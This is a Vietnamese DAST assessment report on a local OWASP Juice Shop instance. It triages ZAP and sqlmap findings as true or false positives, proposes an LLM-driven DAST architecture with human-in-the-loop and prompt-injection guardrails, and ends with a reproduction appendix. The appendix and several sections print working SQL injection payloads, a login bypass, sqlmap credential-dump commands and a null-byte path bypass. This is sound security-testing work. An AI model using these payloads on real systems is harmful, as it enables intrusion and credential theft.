**F12 — Bypassing 403 qua `%2e` (ZAP CWE-348) → ⚠️ FALSE POSITIVE (do vòng review phát hiện).** Trực tiếp bị chặn 403, nhưng `%2e` **ko** trả file — nó rơi vào **catch-all của SPA** và trả `index.html`:
```
$ curl -s -o /dev/null -w "%{http_code}"  http://localhost:3000/ftp/coupons_2013.md.bak
403                                        # chặn đúng
$ curl -s -w " %{http_code} %{size_download}B" http://localhost:3000/%2e/ftp/coupons_2013.md.bak
200 9903B                                   # = index.html, ko phải file backup
# byte-identical với GET / ; file backup thật chỉ 131B (lấy được qua null-byte F4)
```
Đây đúng là bẫy "200 ≠ file được phục vụ" mà §2.1 cảnh báo. `%2e` ko vượt được gì; verdict chính xác là **FP**. Bằng chứng: `evidence/cors-bypass-403.txt`, `f12.out`.

**F13 — Missing Anti-clickjacking Header (ZAP CWE-1021) → FP thực tế.** ZAP báo, nhưng UI có thể bị nhúng frame đã được bảo vệ:
```
$ curl -sD - -o /dev/null http://localhost:3000/ | grep -i x-frame-options
X-Frame-Options: SAMEORIGIN             # app chính CÓ bảo vệ
```
3 instance của ZAP đều trên endpoint polling `/socket.io/` — ko render UI, ko phải mục tiêu clickjacking → ko khai thác được → FP thực tế.

### 2.6 Bảng verify TP / FP (deliverable)

| # | Finding | Nguồn (tool) | Endpoint / Vị trí | ZAP Risk (Conf) | Severity chấm lại (CVSS 3.1) | CWE | OWASP 2021 | Cách verify (tóm tắt) | Verdict |
|---|---|---|---|---|---|---|---|---|---|
| F1 | SQL Injection (UNION/boolean/error/time) | **sqlmap** + curl thủ công | `GET /rest/products/search?q=` | High (Low) (§2.4b) | **Critical (9.8)** | CWE-89 | A03 Injection | UNION trả toàn bộ bảng `Users` trong JSON; sqlmap dump creds; tái hiện 2× | **TP** |
| F2 | SQLi auth bypass (login) | **curl thủ công** (sqlmap bỏ sót → FN của sqlmap) | `POST /rest/user/login` (`email`) | — | **Critical (9.8)** | CWE-89 + CWE-287 | A03 / A07 | Differential control 401 vs tấn công 200; giải mã admin JWT với mật khẩu sai | **TP** |
| F3 | Directory listing / file nhạy cảm | **curl thủ công** | `GET /ftp` | — | **Medium (5.3)** | CWE-548 / CWE-200 | A05 / A01 | 200 liệt kê file `.bak`/mật, ko auth | **TP** |
| F4 | Bypass path/whitelist (Poison Null Byte) | **curl thủ công** (ZAP bỏ sót → FN) | `GET /ftp/*.bak%2500.md` | — (ZAP-530 đều FP) | **High (7.5)** | CWE-22 / CWE-434 | A01 | Lấy được `package.json.bak` (4263B) & `coupons_2013.md.bak` (131B) vượt bộ lọc `.md/.pdf`; ZAP CWE-530 ko củng cố (37/37 FP) | **TP** |
| F5 | Excessive data exposure (danh sách user) | **curl thủ công** | `GET /api/Users` (đã auth) | — | **Medium (6.5)** | CWE-200 / CWE-284 | A01 | Bất kỳ token → 22 user (email/role, ko hash); **unauth = 401 (nên claim unauth-BAC = FP)** | **TP** (auth) / **FP** (claim unauth) |
| F6 | Thiếu Content-Security-Policy | **ZAP passive** | mọi trang | Medium (High) | **Low (3.1)** | CWE-693 | A05 | curl xác nhận header vắng; ko khai thác trực tiếp trên demo → hạ severity, giữ confidence | **TP** (Low) |
| F7 | CORS wildcard `ACAO:*` | **ZAP passive/active** | static assets | Medium (Medium) | **Low (3.7)** | CWE-264 | A05 | Wildcard chỉ trên asset tĩnh ko credential; ko `ACAC:true` → ko đánh cắp cross-origin | **FP** (severity) / TP-hygiene |
| F8 | Timestamp Disclosure – Unix | **ZAP passive** | `styles.css` | Low (Low) | **Info (0.0)** | CWE-497 | — | "Timestamp" là hằng số CSS, ko phải dữ liệu server | **FP** |
| F9 | Modern Web Application | **ZAP passive** | app root | Info (Medium) | **Info (0.0)** | — | — | Phát hiện SPA mang tính thông tin; ko phải lỗ hổng | **FP** (dạng vuln) |
| F10 | COEP / COOP / Feature-Policy header | **ZAP passive** | headers | Low (Medium) | **Low/Info** | CWE-693 / CWE-16 | A05 | Header vắng/deprecated thật (TP-hygiene) nhưng ko khai thác trên demo | **TP** (Low) / phần lớn noise |
| F11 | CORS Misconfiguration (claim reflect-origin) | **ZAP active** | app root | Medium (High) | **Low (3.7)** | CWE-942 | A05 | App trả `ACAO:*` tĩnh, ko phản chiếu Origin injected, ko `Allow-Credentials` → trùng F7 | **FP** (severity/dup) |
| F12 | Bypassing 403 qua `%2e` | **ZAP active** | `GET /%2e/ftp/*.bak` | Medium (Medium) | **Info (0.0)** | CWE-348 | A05 | `%2e` trả `index.html` (9903B, giống hệt `/`), ko phải file; direct `.bak`=403; backup thật 131B chỉ lấy được qua null-byte (F4) | **FP** (SPA catch-all) |
| F13 | Missing Anti-clickjacking Header | **ZAP active** | `/socket.io/*` | Medium (Medium) | **Info (0.0)** | CWE-1021 | A05 | Trang chính có `X-Frame-Options: SAMEORIGIN`; alert chỉ trên endpoint socket.io ko-UI | **FP** (thực tế) |

**Tổng kết verdict (13 finding đã triage):** **4 TP tác động cao** (F1, F2 SQLi Critical; F3 listing; F4 null-byte backup High) · **3 TP thấp/context** (F5 chỉ khi auth, F6 CSP, F10 headers) · **6 FP / thổi phồng** (F7 & F11 CORS wildcard, F8 timestamp, F9 modern-web-app, **F12 `%2e`-bypass SPA-catch-all**, F13 clickjacking). Hai vấn đề **nặng nhất** (SQLi F1/F2, Critical) đến từ **tool chuyên dụng + làm thủ công**; **scanner đa dụng** thì hoặc *chấm thấp confidence* SQLi thật (High-risk/Low-confidence trên 1 lỗi 500), hoặc *thổi phồng* header hygiene lên Medium, hoặc *báo nhầm* do SPA catch-all — tất cả đều cần triage thủ công. Bức tranh DAST kinh điển: *scanner tìm ứng viên; verify quyết định sự thật và mức độ.*

### 2.7 False Negatives (những gì tool bỏ sót — ghi chú độ phủ)

- **Login SQLi (F2)** — FN của **sqlmap** (im lặng); bắt được thủ công.
- **ZAP passive** về bản chất ko tìm được F1–F5 (cần active scan / auth / business logic).
- **Vector null-byte backup-disclosure thật (F4)** là **FN của ZAP** — ZAP thử 37 biến thể path (quarantine.bak, `%2e/...`) nhưng đều dính SPA catch-all; ko thử `%2500.md` nên bỏ sót lỗ hổng thật duy nhất.
- **Lỗi business-logic** (thao túng basket, dùng lại coupon, giả JWT `alg:none`) là FN của cả hai tool — cần test thủ công; đã ghi nhận nhưng ko khai thác ở đây.

---

## Phần 3 — Kiến trúc LLM-driven DAST (ideation)

### 3.1 Ý tưởng: đặt LLM ở mọi phase, kèm tool + guardrails

Nguyên tắc cốt lõi từ nghiên cứu hiện tại (PentestGPT, CAI, xOffense, XBOW, ZAP-MCP): **đừng bắt LLM tự phát minh lại scanner — hãy bọc các tool trưởng thành (ZAP/sqlmap/nuclei) sau một tool-use layer và để các LLM agent chuyên biệt điều khiển, diễn giải, và triage chúng, với guardrails cấu trúc và cổng human-in-the-loop.** Giá trị của LLM là *phán đoán và ngôn ngữ* (giả thuyết, payload thích ứng, lý luận xác nhận, triage FP, viết báo cáo) — ko phải sinh request thô.

**Đóng góp của LLM theo từng phase (ánh xạ với lifecycle DAST thủ công):**

| Phase | Đóng góp của LLM | Tool được bọc | Prior art |
|---|---|---|---|
| **Recon** | Tóm tắt output tool thành giả thuyết tech-stack; sinh wordlist theo ngữ cảnh mục tiêu | nmap, whatweb, amass, ffuf | HackingBuddyGPT, xOffense Recon Agent |
| **Mapping** | Parse JS/traffic crawl → suy ra route, API schema, param, luồng auth; đánh dấu injection point | ZAP spider/MCP, Burp, OpenAPI-LLM import | ZAP OpenAPI-LLM add-on |
| **Analysis** | Ưu tiên endpoint theo tác động; giả thuyết lớp vuln cho mỗi endpoint ("ID số + ko auth → khả năng IDOR"); ground vào CWE/OWASP/CVE qua RAG | truy vấn RAG KB | xOffense Vuln-Analysis Agent, Vulnhuntr |
| **Vuln Testing** | Sinh biến thể payload theo ngữ cảnh, thích ứng encoding/WAF; mutate seed fuzz theo ngữ nghĩa (JSON/GraphQL) | ZAP active, sqlmap, nuclei | Nuclei-AI, LLM-guided fuzzer |
| **Exploit/Confirm** | Chain exploit nhiều bước; tạo PoC tối thiểu; **phán từ response thô xem khai thác có thật thành công ko** (differential/timing/OOB) | sandbox verify, sqlmap | XBOW (chuỗi SSRF 48 bước), Big Sleep |
| **Report** | Viết narrative finding + remediation; **triage TP/FP + hiệu chỉnh severity** như một pass riêng trước khi người ký duyệt | report templater | Datadog FP-filter, ZeroFalse, "Sifting the Noise" |

### 3.2 Sơ đồ kiến trúc

```mermaid
flowchart TB
    subgraph SCOPE["🎯 Cấu hình engagement"]
        SC["Phạm vi được phép,<br/>rate limit, credential"]
    end

    subgraph ORCH["🧠 Orchestrator / Planner (state-machine trên 6 phase)"]
        direction LR
        PLAN["Agent Plan/Reasoning<br/>(giữ state engagement,<br/>tránh mất context)"]
        NEXT["Sinh hành động kế tiếp"]
        PARSE["Parser output tool<br/>(→ state có cấu trúc)"]
        PLAN --> NEXT --> PARSE --> PLAN
    end

    subgraph AGENTS["👥 Agent LLM chuyên biệt theo phase"]
        direction LR
        A1["Recon"] --> A2["Mapping"] --> A3["Analysis"]
        A3 --> A4["Vuln Testing"] --> A5["Exploit /<br/>Confirm"] --> A6["Report /<br/>Triage"]
    end

    subgraph TOOLS["🔧 Tool-use layer (scanner bọc qua MCP)"]
        direction LR
        T1["nmap/ffuf/<br/>amass"]
        T2["ZAP<br/>spider+active"]
        T3["sqlmap"]
        T4["nuclei"]
    end

    subgraph KNOW["📚 Grounding & memory"]
        direction LR
        RAG["RAG KB<br/>CWE / OWASP / CVE / exploit-db"]
        MEM["Memory<br/>(ngắn hạn + dài hạn)"]
        PAYLIB["Thư viện payload /<br/>template (versioned)"]
    end

    subgraph SAFE["🛡️ Safety plane (cấu trúc, nằm DƯỚI LLM)"]
        direction LR
        GUARD["Guardrails:<br/>allow-list phạm vi,<br/>blocklist lệnh phá huỷ,<br/>egress filter"]
        SANDBOX["Sandbox<br/>verify<br/>(chạy PoC an toàn)"]
        HITL["Cổng Human-in-the-loop<br/>(duyệt hành động<br/>tác động cao / báo cáo)"]
        QUAR["Cách ly output tool<br/>(chống prompt-injection<br/>từ response target)"]
    end

    OUT["📄 Báo cáo finding đã xác minh<br/>(đã triage TP/FP, hiệu chỉnh CVSS)"]

    SC --> ORCH
    ORCH --> AGENTS
    AGENTS <-->|"gọi tool"| TOOLS
    TOOLS -->|"response thô"| QUAR --> AGENTS
    AGENTS <-->|"query / lưu"| KNOW
    A4 -.->|"payload ứng viên"| PAYLIB
    A5 -->|"chạy exploit"| SANDBOX
    TOOLS --> GUARD
    A5 --> HITL
    A6 --> HITL --> OUT
    A6 -->|"triage FP +<br/>hiệu chỉnh severity"| OUT

    classDef safe fill:#fde68a,stroke:#b45309,color:#000;
    classDef llm fill:#bfdbfe,stroke:#1e40af,color:#000;
    class GUARD,SANDBOX,HITL,QUAR safe;
    class PLAN,NEXT,PARSE,A1,A2,A3,A4,A5,A6 llm;
```

### 3.3 Các thành phần xuyên suốt (vì sao cần)

1. **Orchestrator/planner** — tách "plan" vs "hành động kế tiếp" vs "parse output" (kiểu PentestGPT) để engagement dài ko mất state.
2. **Tool-use layer (MCP)** — bọc ZAP/sqlmap/nuclei; tái dùng nhiều năm kỹ thuật scanner; hành động có thể audit.
3. **Memory** — context làm việc ngắn hạn + lịch sử engagement/re-scan dài hạn.
4. **RAG knowledge base** — grounding CWE/OWASP/CVE; khắc phục việc model lỗi thời với CVE mới.
5. **Thư viện payload/template** — LLM sinh *ứng viên* vào kho versioned; kho (ko phải text ad-hoc) mới là thứ thực thi → replay/audit được.
6. **Sandbox verify** — thực sự chạy PoC và xác nhận side-effect; "trông có vẻ khai thác được" là ko đáng tin nếu thiếu (chính là bài học từ F12).
7. **Cổng Human-in-the-loop** — pause cấu trúc trước hành động tác động cao/mơ hồ và trước mọi báo cáo ra ngoài; quyết định leo thang ko được để LLM tự quyết.
8. **Guardrails** — allow-list phạm vi, blocklist lệnh phá huỷ, rate limit, egress filter — thực thi *dưới* LLM (chặn ở MCP-gateway), ko phải bằng system prompt.
9. **Module triage TP/FP** — một pass *riêng* xem lại từng finding + hiệu chỉnh severity (LLM có xu hướng thổi phồng severity) trước khi tới người.

### 3.4 Rủi ro & guardrails (bắt buộc, ko phải tuỳ chọn)

- **Ảo giác (hallucination)** → sandbox verify là bắt buộc; ko bao giờ báo "vuln" chưa xác nhận (đúng như F12 minh hoạ: 200 ≠ file).
- **Prompt injection gián tiếp** — chính response/JS/error page của target là input do attacker kiểm soát đưa vào LLM. Phải cách ly/làm sạch output tool *trước khi* nó ảnh hưởng planning (node `QUAR`).
- **Non-determinism** → log/trace toàn bộ run để tái lập và audit.
- **Phạm vi/an toàn** → allow-list cấu trúc; "làm ơn ở trong scope" bằng prompt ko phải là control.
- **Thổi phồng severity** → bắt buộc hiệu chỉnh + cổng người trước mọi finding gửi ra ngoài.
- **Chi phí** → vòng lặp agentic tốn token; bọc scanner tất định cho phần việc lớn, dành ngân sách LLM cho phán đoán.

### 3.5 Ánh xạ với chính engagement này

Mọi thứ ở Phần 2 là bản thủ công của một lượt kiến trúc: **Recon/Mapping** = ZAP spider; **Vuln Testing** = ZAP active + sqlmap; **Exploit/Confirm** = các differential `curl` biến alert thành bằng chứng; **Report/Triage** = bảng TP/FP §2.6 với severity chấm lại. LLM-driven DAST sẽ tự động hoá đúng các bước này — nhưng kỷ luật verify ở §2.5 (differential + proof-of-impact) chính là phần phải giữ nghiêm ngặt (sandbox + module triage), vì đó là thứ phân biệt F1–F4 (thật) với F7–F13 (nhiễu) — **F12 là minh chứng sống: nếu tin scanner mà ko verify thì một SPA catch-all cũng thành "lỗ hổng".**

---

## Phụ lục A — Lệnh tái hiện

```bash
# Deploy
docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop:latest

# sqlmap (search SQLi + dump)
python3 sqlmap.py -u "http://localhost:3000/rest/products/search?q=apple" \
  --batch --level=3 --risk=2 --dbms=sqlite --technique=BEUST
python3 sqlmap.py -u "http://localhost:3000/rest/products/search?q=apple" \
  --batch --level=3 --risk=2 --dbms=sqlite --technique=E -T Users -C email,password --dump

# ZAP (Docker)
docker run --rm --network host -v "$PWD/zap:/zap/wrk:rw" ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py -t http://localhost:3000 -J zap-baseline.json -r zap-baseline.html -m 3 -I
docker run --rm --network host -v "$PWD/zap:/zap/wrk:rw" ghcr.io/zaproxy/zaproxy:stable \
  zap-full-scan.py -t http://localhost:3000 -J zap-full.json -r zap-full.html -m 4 -I -j

# Verify thủ công (trích)
curl -sG http://localhost:3000/rest/products/search \
  --data-urlencode "q=x')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"
curl -s -X POST http://localhost:3000/rest/user/login -H 'Content-Type: application/json' \
  --data '{"email":"'"'"' OR 1=1--","password":"x"}'
curl -s "http://localhost:3000/ftp/package.json.bak%2500.md"   # null-byte TP (F4)
curl -s "http://localhost:3000/%2e/ftp/coupons_2013.md.bak"    # %2e => index.html => FP (F12)
```

## Phụ lục B — Artifact & nguồn

- **Artifact:** `plans/260805-0015-track0-dast/artifacts/` → `zap/zap-baseline.{json,html,md}`, `zap/zap-full.*`, `sqlmap/*.log`, `sqlmap/session/.../Users.csv`, `evidence/*.{json,txt,html}`.
- **Note review (nghiệm thu):** `plans/reports/review-260805-0903-track0-round1.md` (+ round2).
- **Note research (nền cho báo cáo):** `plans/reports/research-{juiceshop-vulns,zap-methodology,sqlmap-juiceshop,tpfp-cwe,llm-dast-arch}.md`; **Phần 1 lý thuyết:** `plans/reports/research-260806-0942-dast-theory-part1.md`.
- **Nguồn chính:** OWASP WSTG / Testing Framework (PTES phases); OWASP Juice Shop pwning guide; OWASP Top 10:2021; MITRE CWE; FIRST CVSS 3.1; ZAP alerts docs; Imperva/Snyk (SAST·DAST·IAST); PentestGPT (arXiv 2308.06782); CAI (arXiv 2504.06017); xOffense (arXiv 2509.13021); ZAP+LLM (zaproxy.org/tags/llm); Nuclei-AI (ProjectDiscovery); Datadog LLM FP-filtering.
